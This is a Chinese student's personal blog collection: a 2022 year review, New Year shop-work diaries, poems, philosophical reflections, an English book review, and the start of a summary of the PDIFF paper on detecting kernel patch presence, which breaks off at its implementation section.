直到快看见七月的尾巴啦，开始寻找我的小分队，寻找我的 hw、jh。那段时间主要把精力投入到了社交当中，跟各种各样的人打了交道，发现世界真的是五彩斑斓的，每个人的经历可以说都是截然不同的。\
![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FVQf9dFpjLe8J0VVISJ4O%2FIMG_0199.JPG?alt=media\&token=f2f54b23-b1e3-479e-94a1-dcac3e274813)

***

### agosto

我又回到暑假最初的起点，开始两点一线的生活，说实话这样单调且规律的生活挺适合我的，它让我的生活变得极其充实又简单，我享受这样的平静生活。时间一晃就来到暑假的最后一周，那时候开始了我的教学生活，在一定程度上实现了我去年未实现的梦想———成为一名 teacher，“好的教育是心灵的震撼”，我竭尽全力去做到这一点，让自己无愧于心的同时，争取让他们的收获最大化。感谢他们的认真、努力与付出，看到他们确实有了相应的进步，我也收获了满满的成就感。爱我的学生们，他们都是好样的。<br>

离别的钟再次敲响，再次前往学校。这一回来到长沙，已是一名大二的 HNUer 了。到学生公寓门口，吃上这一碗美味的蛋炒肉，就这样开启我的大二生活啦！

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FFB7XPInNGcPATR6NImjm%2F759b32207479c5ef469ce0d12735722.jpg?alt=media\&token=a5869abc-253d-4aec-a147-66f5ba7fbbb6)[![2023-01-18T17:01:43.png](https://bkcat.cn/usr/uploads/2023/01/475053267.png)](https://bkcat.cn/usr/uploads/2023/01/475053267.png)

回来继续小学期，大部分的时间都花在了阅读有关计算机的课外书籍上，对开源有了更深刻的理解，也爱上了开源，成为了一名坚定的开源支持者！

***

### syyskuu

午觉睡完，灵感迸发，说干就干！发现自己还是有一些优点的，比如想到就去做。**勇于尝试**真是自己上大学前后最大的变化。亲爱的自己，继续加油！未来可期！\
[![2023-01-18T17:09:09.png](https://bkcat.cn/usr/uploads/2023/01/2319694189.png)](https://bkcat.cn/usr/uploads/2023/01/2319694189.png)九月中旬，校园论坛项目初见成效，获得了总计 1000CNY 的项目奖金，颇有成就感。作为宿舍团建的传统项目，与伙伴们东北一家人搞起！！

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2F5EMeOJrbpuPjS4GdDuQ0%2Ff285bf5b4f3a062b4b9c5c410f92581.jpg?alt=media\&token=bd48ed58-9ac0-4267-812b-e67b91445829)[![2023-01-18T17:06:11.png](https://bkcat.cn/usr/uploads/2023/01/823449935.png)](https://bkcat.cn/usr/uploads/2023/01/823449935.png)

饭后散步，夜晚的后湖很美耶。[![2023-01-18T17:07:34.png](https://bkcat.cn/usr/uploads/2023/01/351884704.png)](https://bkcat.cn/usr/uploads/2023/01/351884704.png)

月末，提交了自训队的**入队申请书**，实现自己半年来的心愿。这是我上大学来做的最正确的选择之一。为了加强自己的体能，开始训练三公里。四十多次的训练投入最终也有所回报，三公里配速到后来能稳定四分二十秒的水平；十一月份的一千米体测，五十人小组第一，成就满拉满！[![2023-01-18T17:14:15.png](https://bkcat.cn/usr/uploads/2023/01/3355548942.png)](https://bkcat.cn/usr/uploads/2023/01/3355548942.png)

***

### Oktober

盼星星盼月亮，盼来了**削减为三天**的国庆假期，于是乎报复性消费，正所谓“何以解忧，唯有干饭”。[![2023-01-18T17:19:17.png](https://bkcat.cn/usr/uploads/2023/01/3462584860.png)](https://bkcat.cn/usr/uploads/2023/01/3462584860.png)\
![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FfdjSQpH0eWgUHzb8T2r0%2F520ebb9e8e5254d849bb2f580645720.jpg?alt=media\&token=62ade726-9004-44af-b140-ffa015735311)[![2023-01-18T17:19:35.png](https://bkcat.cn/usr/uploads/2023/01/298821311.png)](https://bkcat.cn/usr/uploads/2023/01/298821311.png)

信安协会自行组织了一把 HNUCTF，参加了之后发现自己真的挺 fw 的。于是心里开始产生一些自我怀疑，混杂着对未来的迷茫，心态曲线呈正弦函数😣。

这一张照片自诩是**年度最有意义照片**。台下坐着的是肖佬（保送 THU 的至强学长），台上讲话的也是肖佬（逆天学历如图），如今他们也可以算是 THU 校友了。台下的肖佬看着台上的肖佬，我觉得他们真有种穿越二十年与自己对视的感觉。更巧的是，台下的肖佬与我是老乡，台上的肖佬是我实验室的导师。我在台下旁观，妙不可言。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FuiTYHnfeSrA63Qwv9s6q%2F97b591e84ab76cb9d2dca0fec435e39.jpg?alt=media\&token=38730cc2-946b-40ba-b302-65b77ad13d1e)[![2023-01-18T17:25:20.png](https://bkcat.cn/usr/uploads/2023/01/2901760862.png)](https://bkcat.cn/usr/uploads/2023/01/2901760862.png)

自训队的训练拉开了序幕，那里就是我大学中的精神圣地，没有之一，自训队 yyds！无论再过多少年，我都会记得那冲上云霄的口号声——湖大脊梁，自训自强！[![2023-01-18T17:34:30.png](https://bkcat.cn/usr/uploads/2023/01/921526748.png)](https://bkcat.cn/usr/uploads/2023/01/921526748.png)

***

### නොවැම්බර්

这个月的 15 号是我的公历生日，这个月似乎注定是围绕着自己的一个月。

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FOdjQIxREVPLSTqWyHSOM%2F9f4b414064ca8e9aa175ed971eefbcf.jpg?alt=media\&token=42afcfad-41f2-433a-86a3-02934f9f0777)

和[学委吴](https://skywt.cn/)去看脱口秀了，只能说是笑麻了，是真麻。[![2023-01-18T17:47:23.png](https://bkcat.cn/usr/uploads/2023/01/2090075641.png)](https://bkcat.cn/usr/uploads/2023/01/2090075641.png)

世界杯也开始了，大伙儿凑一起看世界杯，多有意思呀！

![](https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FdW6k0bGlRouzqHd6YXYZ%2Ff4612ac8f60037c5119645b0bfeca26.jpg?alt=media\&token=5ad4a4d0-3402-42a7-9722-1e0e9da49b4d)[![2023-01-18T17:45:23.png](https://bkcat.cn/usr/uploads/2023/01/3112925228.png)](https://bkcat.cn/usr/uploads/2023/01/3112925228.png)

***

### Dezember

学校组织自愿返乡，初期稍显混乱，但总体安排有序，大家都高高兴兴回家了。我留守学校一周，考完了六级，也拍拍屁股，卷铺盖走人咯。回家之后，厨艺、吉他指法皆有所精进，甚悦。[![2023-01-18T17:50:17.png](https://bkcat.cn/usr/uploads/2023/01/1776404414.png)](https://bkcat.cn/usr/uploads/2023/01/1776404414.png)

今年最具有挑战性的事情发生在 12.27 这一天，鼓足百分之一万的勇气，发出此封邮件。原以为石沉大海，结果柳暗花明，获得一个实习的机会，开始漏洞分析的学习征程！江湖常言道：“撑死胆大的，饿死胆小的”，谁又说不是呢😊\
[![2023-01-18T17:52:05.png](https://bkcat.cn/usr/uploads/2023/01/162018459.png)](https://bkcat.cn/usr/uploads/2023/01/162018459.png)

***

高一情人节吃完夜宵回家的路上，我对我的挚友侯说，

> “我在高中尽力去做好自己该做的，无愧于心，最后高考结果什么样其实我都能接受。”

现在看来，不止高中，大学也一样适用。\
至此，全剧终，2022终，2023始，敬请期待🤗


# 1.21 大年三十

> 打工的最后一天，也是今年最后一天，同样也是明年的前一天。故事即将于此结束，也将于此开启新的篇章。

今早发生的一切仿佛就是昨日的复制粘贴，关灯睡觉，起床上班。今天和昨天在打工方面有什么区别吗？似乎没有，唯一的区别可能就是前来买春联的人出手更加阔绰些。毕竟大年三十了，谁也不想为了那么十几块钱斤斤计较，大家都想顺顺利利、开开心心地过个年。

午饭后，刚把车车停在店门口，就接到了一个支线任务——去动车站接表哥。按下“E”键，开始行动！进入三档加速模式，恰一路绿灯，遂狂飙不止。下车，寻找目标人物，扫视四周一圈，褐色卫衣美男子，get it！接上车后，与表哥聊天。发&#x73B0;**“劝人学医，天打雷劈”**&#x786E;实不是空穴来风，单说这“晚班从晚上八点到早上八点，一连半个月晚班”的工作强度，就不是一般人能 cover 的。虽说收入不菲，但也得有命享受。\
14：56，为期六天的打工生活正式结束，妈妈也象征性地发了 300CNY 作为工钱。金钱的数量并不重要，因为没有达到那种量级，但毕竟是自己的劳动所得，因此倍感快乐与满足！

回到外婆家已经是 15：07 了。从三年前开始，每年这个时候就有一项光荣且艰巨的任务等待着我和表哥——贴春联，从六楼的天台到一楼的入户大门，八幅春联，并不小的一个工作量，因此我们得抓紧时间了！我拿起扶梯往天台走去，表哥一手端着秘制浆糊，一手提着春联袋紧随其后。\
辨认上下联，比对位置，刷浆糊于墙，固定春联最上端，粘紧春联剩余部分，一气呵成，重复 n 次。\
由于我和表哥已经是多年的黄金搭档，这些基操我们烂熟于心了。今年与往年不同的地方在于，今年是我爬上扶梯贴春联的最上端。前人东坡说“高处不胜寒，起舞弄清影，何似在人间”，我今言“扶梯不太稳，高处有点怕，能否快一点😣”

贴完了春联，手上乌漆嘛黑，全是墙上脱落的灰（可能是因为去年贴的春联太牢靠了，今年撕春联的时候，连带将墙皮也带了一部分出来）。用高贵的蓝月亮洗手液，反复搓洗，直至洁白无垢，上桌洗手吃饭。今年的年夜饭还是我、爸爸、妈妈、外婆一起吃，吃一餐简简单单的火锅，朴实无华。刚开始动筷子三五分钟，舅妈突然下来喊我去她家吃饭，因为一些意外，她家多煮了非常多道菜，于是想叫我上去吃，而后在爸妈、外婆的首肯下，我就跟随舅妈上楼去她家蹭了一顿年夜饭。共有十道菜肴，寓意十全十美。有春只鱼、卤牛肉、虾、螃蟹、芋泥……风卷云残过后，饱腹，直呼“太好吃了，可惜没有第二个肚子吃。”滞留十来分钟后，告别舅舅、舅妈一家，回到楼下外婆家帮忙收拾一下东西，紧接着又与外婆告别，回自己的新家。

此时天开始慢慢下起淅淅沥沥的小雨，我、爸爸、妈妈三个人每人骑一部电动车，身披雨衣，在满天烟花爆竹的陪伴下，踏上了回家的路。在等红绿灯的时候，我拍下了如下这张图。一家人在一起，再平凡的时刻，也洋溢着幸福与欢乐。

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FPi0Tefwk5uo9bOgjEI2E%2Fimage.png?alt=media&amp;token=c2ae16ad-fafc-46e8-8dce-1229d0f24787" alt="" width="563"><figcaption></figcaption></figure>

十多分钟后，到达地下车库的车位，发现旁边停着一辆超大型越野车，不禁感叹“这车真气派！”爸爸也为该车巨大的身躯而感到震惊，但他随后说“不必羡慕它，他这辆车再 NB 也只有四个轮子。你、你妈和我，我们三部电动车加起来有六个轮子呢，比它还多俩个”听后，莞尔一笑，一家人前往搭乘电梯，完成回家的最后一道关卡。\
电梯里，看着爸爸妈妈，开始回忆搬家前后的过年感受，发现新家和老家除了生活条件方便了许多外，在心理方面的感受相差无几，大体上都是很欢乐的。虽然有几年的除夕夜，爸爸的一些小的坏毛病 + 妈妈的暴脾气 => 一场争吵，但所幸无大碍，都说“夫妻床头吵架床尾和”，问题不大。

但我没来由地进一步想自己为什么在心理方面的感受差异不大呢？思来想去，可能有一个不确切的答案：**我始终被爱**。\
从出生到初三那年，一直住在登高路的老家，老家是上世纪七十年代的建筑，已被鉴定为危房。遇上下雨天，得变身“齐天大圣”，穿梭各式各样的“水帘洞”。但我从小到大并不觉得这有什么，除了没办法邀请同学到家里玩，在老家生活的十六年间，总体上是很开心的。因为可以在家中榕树下乘凉看星星，可以在家里的小院子里拍拍篮球……最重要的是：**家人都很爱我**。\
因为爸爸妈妈很忙，小时候我辗转各家混口饭吃，其中有大姑妈家、二姑妈家、三姑妈家、爷爷奶奶家、外公外婆家、小姨家……幸运的是，家中每个带我的长辈都很疼我，时常带我去吃这吃那，逛着逛那。尤其是三姑妈，每次去三姑妈家，三姑妈都给我很多很多好吃的，而且三姑妈做饭也特别香，恨不得一次吃饭都吃五碗。三姑妈还经常带我去新华都、三狮买玩具，时至今日，三姑妈家依然留存着许多套我小时候穿的衣服以及在她家中拍摄的照片。当然了，还有许多温馨的小故事留藏在我心中，永不褪色。

*因为从小被爱，我的内心世界是完整的，没有缺失的。*\
*因为被爱过，我获得了爱别人的能力。我也希望去爱别人，构建我与他人之间爱与被爱的正向循环。*\
*这也许就是《爱的教育》，也是爱的秘密。*

回到家中，一家人一如既往地看起了春晚，刷起了微信，打起了电话，与他人道一声“新年快乐！”一切是那么熟悉，那么令人安心。与往年有所不同的是，今年的鞭炮烟花声不绝于耳。也许是为了庆祝疫情结束，也许是为了释放这三年的压抑，也许是为了告别过去的一年，也许是为了庆祝自己又长大了一岁。烟花爆竹承载着人们的心愿，在空中绚烂地绽放，正如这璀璨如歌的生命，可歌可泣！

\
正所谓：

> “爆竹声中一岁除，春风送暖入屠苏”

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FdvjBRlUzXfW13W7YjrF5%2F34aa8c5d6b659709858664928c09e17.jpg?alt=media&amp;token=e707a8aa-223b-418b-9fda-a8c90dd8efa6" alt=""><figcaption></figcaption></figure>

今年过年，有那年味了。祝大家，新年快乐！！！万事胜意！！！


# 1.20 打工日记

今天是在妈妈店里帮忙的第五天。

\
00:24，合上了手中的书将其往床边一甩，旋动了墙上的开关，灯灭，眼闭，一夜好梦。\
8:35，自然醒来。穿衣洗漱吃饭，从抽屉中拿上电动车钥匙，乘电梯至负一层，启动车辆出发前往南门。路上冷风呼啸，趁着等红绿灯的间隙，连忙扣紧马夹最上面的一粒扣子。\
8:51，到达店门口，已经有好多人在看春联。赶紧停好车，摘下头盔，接下妈妈递过来的一副\
春联，取下春联上的夹子，将春联卷成圆柱状，从桌面上拿起一个橡皮筋，套好，扯下一个塑料袋，右手大拇指蘸湿海绵，搓开袋子，装入春联，将袋子递给顾客，指了指贴在玻璃上的收款码微笑着说，“可以扫这里付款哦”。以上动作重复 n 次。

过年期间妈妈店的主营业务就是卖春联，当然，文印店的老本行也并行开展着呢。这不，一位妈妈领着她的女儿进店来了，“这里可以打印吗？”“当然可以。”随后她女儿就通过钉钉下载了十几份试卷，最后共打印 63张 双面A4。瞥见试卷的抬头是“高一XXX”，我下意识地以为她女儿是一中学生，就跟这位家长交谈起来，“现在一中会布置这么多作业啊，这么多啥时候能做完呢？”家长愣了一下，随后说，“哦我家孩子不在这里读，是在浙江读书，以前的话是在上海读书……现在浙江新高考，3+4……我们把出国作为一条后路……我一个小叔在新加坡XX大学当教授……”。

其中最让我震惊的一句话是：“我女儿的小学毕业礼物就是出国旅游呀，去巴厘岛”。不得不说，原生家庭对孩子见识、视野方面的影响真是太大了。出国旅游可能在人家看来是稀松平常的一件事，但对目前的我来说还是遥不可及的东西。我进一步联想到了我的表妹，她和这位家长的孩子年龄相仿。她家的经济条件比较困难，在前两天我只是带了份 KFC 炸鸡给她，她接过的那一刻，眼中有着抑制不住的喜悦。看着她的表情，我是感到很开心的，感觉自己做了一件挺 nice 的事。但此刻我感受到一丝悲凉，理性知道命运本是不公，这本无话可说，可感性难免追问那多余的一句“凭什么？”同时进一步理解王德峰教授说的“年过四十不信命是愚蠢。”\
通过之前的交谈，这位家长的经济实力毋庸置疑了，但让我真正钦佩的是她的素质。有钱但并不自傲，可以平等与你交流，并且作为一名顾客还热情帮忙。她和她孩子来店里的时候，顾客比较多，经常发生需要拿个塑料袋啊、递支笔啊之类的事。原本这种杂事应该是我负责，可顾客太多了，难免分身乏术，这位家长就替我做了这些事情，很感谢她。

从停好电动车开始，大约过了一个多小时，即 10:30 左右，终于可以喘口气休息一下啦，惬意地伸了一个懒腰，起身走到门口。街上熙熙攘攘，大榕树上挂满了红灯笼，恍惚间仿佛回到了从前，那个没有疫情的年代，街上也是如此张灯结彩，热热闹闹。这样的生活气息真好，感觉回到了人世间，有滋有味。\
愉快的时光总是短暂，此时一位顾客前来买春联，连忙迎上去，“请问您想要什么样的春联呀？要多长的呀？家里挂入户门一般都是一米三或者一米五哦……”

如果碰上好说话的顾客，一般一两分钟就搞定了。他们往往出手豪爽，买五六七八幅春联，掏出手机一扫，也不讲价，干脆利落给钱拿货走人。如果比较倒霉，碰上挑三拣四的顾客。纵使把所有的春联一款一款给他 / 她看了，他 / 她总是绷着脸，嫌弃这不行那也不好。就算好不容易挑到了喜欢的春联，也会跟你不停地讲价，以五毛或者一块为单位死缠烂打，稍不如意就丢下春联转身“潇洒”走人，嘴里念叨着“黑心商家卖这么贵，人家XX才卖XX，你这里还卖这么贵”诸如此类的话语。这时你并没有心情去憎恶他 / 她，因为往往此时还得拿出笑脸迎接下一位顾客。这就是服务行业从事人员的真实写照。怀疑妈妈头上的白头发可能就是在这日复一日，年复一年的开店生活中积攒出来的。

忙活到了中午准备回家吃饭的时候，才发现门外放着的“多多买菜”的商品还未整理归类。拿张小板凳坐在一旁，将商品全部倾倒在一个大篮子里，再根据商品名单，将每一个购买者对应的商品从篮子里挑出，装入一个塑料袋中。待商品归类完毕后，拿出一支记号笔，在标签贴上写上购买者手机尾号的后四位，再将标签揭下贴到对应的塑料袋上。完成！又赚了五毛，可以回外婆家吃饭咯。一边拍拍屁股，一边起身感叹道，“疫情对实体店的冲击太大了。妈妈以前没有这项业务的，可为了活下去，只好拓展此类业务，只为了能多赚了一点点钱。在疫情中店不倒，妈妈已经是伟大的赢家了。”此时眼前一位外卖小哥骑着电动车，风驰电掣呼啸而过。原来，有这么多人，为了生存都已经竭尽全力了嘛……

回到外婆家，匆匆忙忙扒拉了两口饭，吃饭已经 13:30 了。有午睡习惯的我，困意不住地往头上冲。可今天情况特殊，妈妈没人送饭，看来今天是没办法了，只能送完饭再回来睡吧。拎着饭盒穿上鞋就往店里走去。走到店里，将饭递给妈妈，替妈妈在吃饭的时候看店。看到店里暂时无人光顾，自己坐在椅子上开始发呆，感到实在无聊，从口袋中掏出手机下意识就点开了 b站，开始刷视频。突然有一刻明白了，为什么之前在街上能看到很多店铺老板在刷视频，因为他们在忙碌中，只能在这种短暂的间歇中寻找乐子。恰恰视频能给人带来比较大的刺激，有图像，有音频，也没有看文字的疲惫。作为一种打发时间的手段，这行之有效且效果甚好。\
本来还想等妈妈吃完，就溜回去睡一会再出来，结果又碰上了成群的顾客，于是又开始忙碌了起来……

16:00 左右，店里来了一个特殊的顾客，我小时候的好朋友。多年未见，尽管双方音容相貌并未发生多大变化，但由于我们走上了不同的人生道路，导致现在无共同语言。关系变得尴尬，我们曾亲密无间，很熟悉彼此，现在却无话可说。我真不知该如何开口交流。时间这把刀是这么锋利，轻而易举就割裂了这段深厚的感情。\
17:45，坐在外婆家的餐桌上，我长吁一口气，今天的打工到此为止咯。明天最后一天，坚持就是胜利，继续加油！


# 浪漫的中国酒文化

<figure><img src="https://4115421394-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FphkhzXjy1VCjm6rtX0Zs%2Fuploads%2FU2uYqUS8kQndMfU5OGBe%2Fimage.png?alt=media&amp;token=28bdfce0-4cfb-48c0-b0a7-46e3cf82f61c" alt=""><figcaption></figcaption></figure>

酒不醉人人自醉

古来圣贤皆寂寞 惟有饮者留其名

一年三万六千日 一日须饮三百杯

何以解忧 唯有杜康

朝饮木兰之坠露兮 夕餐秋菊之落英

大风起兮云飞扬 威加海内兮归故乡 安得猛士兮守四方

力拔山兮气盖世，\
时不利兮骓不逝。\
骓不逝兮可奈何，\
虞兮虞兮奈若何！

愿得一心人 白头不相离

三百六十日 日日醉如泥

遇酒且呵呵 人生能几何

晚来天欲雪 能饮一杯无

曾因酒醉鞭明马 生怕情多累美人


# 我的哲学批判

智慧是心灵的事情，而不是大脑的事情，因为智慧不等于知识，智慧不能依靠知识的积累来获得。正如《金刚经》中写到：教外别传，不立文字，直指人心，见性成佛。

有一个简单的例证：对于一份职业——清洁工，你的大脑理性告诉你，这也是一种职业，凭借双手的劳动获取等价的劳动报酬，跟其他的工作同样值得尊敬。但与此同时你的心灵在说什么呢？清洁工，害，我肯定不干，这活多脏多累啊。起码目前的我还是这样的。心灵的傲慢与偏见无处不在，甚至虚伪、虚荣都时常环绕在我身边，我必须承认自己内心充斥着这样那样的黑暗与邪恶。

回归上文，我所以为的智慧是一种生命境界，是一种能够看到事物的本质的能力，是自我建立的对世界有清晰度的深刻见解。

我们是中国人，汉语是我们的母语，我们在汉语的环境中成长，而汉语无处不体现儒释道的思想。

西汉罢黜百家独尊儒术，道家是本土学说自然生长，佛学自印度远道而来，我们用了数百年实现了佛学的中国化，让佛学说汉语。

儒家让我们中国人站在大地上，佛家让我们明白众生平等，道家教会我们生活的艺术。

儒家维护了稳定，建立了礼乐制度，对为人处世做出了规范，这是心灵的约束，却比法律的约束更加有效，因为它直指人心。我们都知道“没有规矩，不成方圆”，社会生活需要规范，否则朝令夕改，人心惶惶，国将不国。

佛家启迪智慧——大悲悯，强调普敬，是第一个提出众生平等的宗教。但本质上来说佛家并不是宗教，因为它倡导“众生皆佛”“人人都有佛性”，因此佛家实际上是为世人提供了不同的修行法门。当我们面对寺庙宗祠里一尊尊金碧辉煌的佛像时，我们的心灵感到震撼。但我们震撼的只是那佛像的威严嘛？从自然科学的角度来说，那佛像是塑像，材质也许是铜，也许是泥土，最多再镀层金，对于现代的建筑技术来说，不是什么大不了的玩意儿。但是我们为什么要五体投地的跪拜呢？一定要磕头跪拜呢？是不是可以这么理解，我们在头触地的那一刻，其实我们表达的是对我们自己灵魂的敬畏，同时也是彻底放下了那个小我，承认自己在根本上的渺小与优先，这无疑是一种伟大。可惜我之前根本不懂，狂妄地凭借自己掌握的那点可怜的科学知识，给这种行为简单地贴上“迷信”的标签，并在心里默默吐了口痰表示鄙夷。俗不可耐。正印证了陈峰老师说的“你觉得它没用，它 low，99%是因为你对它一无所知。”。

佛学的三句义也给我留下了特别深刻的印象，“佛说世界，既非世界，故名世界。”。乍眼看去，心想又是什么奇葩的文字游戏，故弄玄虚。但其实质与马克思的辩证法是契合的，不破不立，破而后立。矛盾的对立转换，首先是建立一个概念，然后再破除这个概念，最后建立一个新的实体。可惜高深之处，尚未能得以体会，目前只能把玩一番。说到了马克思的辩证法，我只能说千古伟人，名不虚传。初识辩证法，是在高中政治的哲学生活，当时只是机械教条地背诵一个又一个考点，也许有触摸到一点点智慧的边缘，但终究还是太少，根本不明白这其中的智慧。以为哲学不过是空而又空的学说，毫无价值。但现在来看马克思发动的哲学革命，实在是妙不可言，开辟了一个新的哲学体系，为我们提供了另一种看待世界的视角。王国维说世界上只有两种学说，一种可爱而不可信，另一种可信而不可爱。马克思的学说就是后一种，初窥便拓展了心灵的视野。拿 love 来举例吧。

一个男人与一个女人尝试建立一种排他性的亲密接触，我们定义为love，love不断发展，当他们fall in love的时候，革命就要发生了。love的对立面积蓄着反动力量，准备葬送这场love，为他们准备好love的坟墓——婚姻。“婚姻是爱情的坟墓”这样一种观点喧嚣尘上，但我们是否看到这场革命的对立面，是一段伟大征程的开始，这位男人与女人在走向“恩爱”的大道上。他们的关系亲密无间，却也相互憎恨，我那么恨你却舍不得离开你，这是不是爱情的真相呢？

讲了佛家，顺便提了一嘴马克思，再回归道家。道家是一种艺术，高雅，“无为而无不为”“道可道，非常道”。目前了解的还不是很多，日后再聊hhh，就此草草收尾，拙作仅供娱乐。一定要继续学习哲学呀！


# The review of The Grand Hotel

Recently, I cultivate a habit of writing book review, hoping that will improve my expression ability gradually.

What does grand hotel look like? Resplendent outfit, intimate service or comfortable enviroment…… Maybe such a hotel fits the image of a grand hotel in people's minds, it can meet accommodation needs perfectly. But, dose it make tenant feel at home? I don't know. The above conditinos should be necessary but not sufficient conditions, in my opinion, more detailed humanistic care is an important influencing factor which make tenant feel at home.

*The Grand Hotel* told what happened in five days at the hotel, including the relationship between management and ordinary employees, outer covetous capitalist, thief, sins of the powerful and so on. Among all these scenes, a paragraph describing the hotel structure makes me unforgetful, because it show me that the hotel itself is a huge organization that requires the cooperation of every part to make it work!

The hotel needs all kinds of employees to make sure everything is ok. Such as chef who provding meals, waiter who providing wake-up calls, engineers who make sure the equipment work properly, manager who deal with tricky or unexpected things……

Of course, this book not only describe the hotel, but also emphasizes the relationship between people, especially **love**. I have no surprise about the love between young talent and clever beauty, instead the love between super capital O'Keefe and his female companion Dorothy in this book make me shocked. As for O'Keefe, no matter how many female companion he want, he will get without effort. So when he ditched Dorothy, he should feel peacefully in normal. Nonetheless, O'Keefe rushed towards Dorothy like crazy when he saw her lying in hotel lobby in blood due to a malfunctioning elevator. When they arrived at hospital, he humbly asked the doctor to save Dorothy. Later, O'Keefe ordered his subordinates in a rage to drop everything and chater a plane, just to get Dorothy's mother to New Orleans as soon as possible.

Although it's been two hours since I finished this book, I'm still impressed by the love.


# 暑假感想

好久没写博客了。一眨眼暑假就要结束了，马上要回到长沙，马上又要离开我的爸爸妈妈和兄弟朋友们，心中难免会有不舍。古人说天下没有不散的宴席，此话不假，珍惜当下的时刻吧，它是那么的宝贵，让你只想把它牢牢地攥紧在手心里，心里默念如果时间能够永远停留在现在就好了。可惜没有如果。

也许正是因为我们不得不经历各种各样的离别和 say goodbye，才显得当下能与朋友们待在一起的时刻熠熠生辉。我曾在今年寒假反思自己，问自己最看重的东西是什么？现在时间又一次给了我答案———**人与人之间的感情**。时间它还告诉我，每个人的确都是独一无二的，**都有自己的路要去走**，都有自己的伤口要愈合，也都有自己爱的人要去守护。

再说回这个暑假本身把，我又在这个暑假干了些什么呢？刚回来考完了驾照，与朋友们吃了几顿饭，然后开始每天的图书馆与锻炼两点一线，曾痴迷于爬虫项目与论坛项目的学习，也曾厌倦到不想再触及相关的任何东西。直到快看见七月的尾巴啦，开始寻找我的小分队，寻找我的小侯、jh。那段时间记得跟各种各样的人打了交道，发现世界真的是五彩斑斓的，每个人的经历可以说是截然不同的。又过了那么二十天左右，我又回到最初的起点，开始两点一线的生活，说实话这样单调且规律的生活挺适合我的，它让我的生活变得极其充实又简单，我享受这样的平静生活。时间一晃就来到一周前，那时候开始了我的教学生活，在一定程度上实现了我去年未实现的梦想———成为一名 teacher，“好的教育是心灵的震撼”，我竭尽全力去做到这一点，让自己无愧于心的同时，争取让他们的收获最大化。感谢他们的认真、努力与付出，看到他们确实有了相应的进步，我也收获了满满的成就感。爱我的学生们，他们都是好样的。

暑假就这样落幕把，挺好的，平平淡淡才是真。保持热爱，奔赴山海，未来可期！


# 随想

又一次一个人走在前往图书馆的道路上，孤独萦绕在我身旁，有之前高二时为学习而疯狂的感觉了，舍身成魔又何妨？

\
**CS需要学习的东西浩如烟海,但很可惜学习没有捷径,也许最好的方法就是现在去啃那些又厚又重的书籍**

* 在这样一个量级的学习强度下,一天两天、一周两周、一月两月可能都鲜有成果,但心中有个信念，随着一天一天的付出，在心底不断强化——你在变强。这种变强的感觉在开学的短短两周演变成我的一种渴望，这种渴望让我对所有能够提高自己的编程、英语、数学能力的东西都上瘾。这种瘾既能给你正反馈，也能给你负反馈。
  * 正反馈是当你完成了一天的既定目标，充分利用了一天所有能够被利用的时间后，怀揣着疲惫躺在床上的那一刻，充实的幸福感会涌上心头，让你觉得愉悦，换言之即自律的快乐。
  * 负反馈是当你因为种种原因，学习状态低下，导致你不能完成自己的既定目标。从“高效”的幻想起点出发，最终跌倒在“低效”的终点。那一种“**坠落感**”就是在纠结时间的逝去与自己的“低效”行为中反复拉扯，伤害自己。
* 为什么会有这种渴望？因为已经有很多事情让我意识到自己的弱小、无能为力、手足无措，更是因为在自我塑造的过程中，意识到了某种东西是弥足珍贵的，而我需要足够的ability去守护这种东西。
* By the way,学习不应该只是知识的学习，看一本书、写一篇文章、参观一个艺术馆、听一场演唱会等，这些东西应该也都算是学习的一部分。虽然它们好像不能直接带给你什么，但是它们在默默地拓展生命的深度、把世界的模样的展示给你，让你意识到生命的多样性与可能性。


# Fuzzing


# PDIFF

这是一篇 2020 年发表在 CCS 上的[论文](https://dl.acm.org/doi/10.1145/3372297.3417240)，两位 co-first authors 均来自复旦大学。作者录制了 10min 左右的论文讲解视频，感兴趣的读者可以自行前往观看。

该论文要解决的问题是：For kernel images, check whether they have applied patches for known vulnerabilities.

### 背景

对于关心安全威胁的部门（如政府、企业），十分在意产品的补丁状态。然而对于 kernel 下游的厂商来说，十天半个月不更新上游补丁也是常有的事（偶尔也会出现厂商自行修补，却引入错误补丁的情况）。对于这样的现实情况，该如何有效地去检测下游产品是否存在特定补丁呢？

目前有两种方法：1. 构造 PoC 验证；2.通过 signature 验证（如 FIBER）。

补丁存在检测的难点：kernel 下游厂商的代码往往是难以获取 / 不可靠的，再加上为了实现定制化的服务，厂商们对于上游的补丁会进行 **third-party code customization** & **diversities in building configuration**。因此现有的方法在补丁存在检测表现不够理想。

针对以上问题，作者提出了 PDIFF，一种针对下游内核的新型补丁存在检测系统。其 idea 如下所述：

> The intuition behind the design of PDIFF is that the target kernel and its reference version should have similar semantics, regardless of the variations at the code level.

### 设计与实现

PDIFF 设计的关键在于比较：`similarity(downstream_binary, upstream_pre_patch)` 和`similarity(downstream_binary, upstream_post_patch)`。

基本的想法也很通俗易懂，你不是让我确认是否存在某特定补丁吗，我就提出一个**距离（即 similarity）**&#x7684;度量标准，去判断下游厂商的 binary 究竟是更靠近上游打补丁前还是打补丁后。如果更靠近打补丁后，就认为 binary 打上了补丁，反之则认为 binary 不存在特定补丁。

PDIFF 分三步实现：

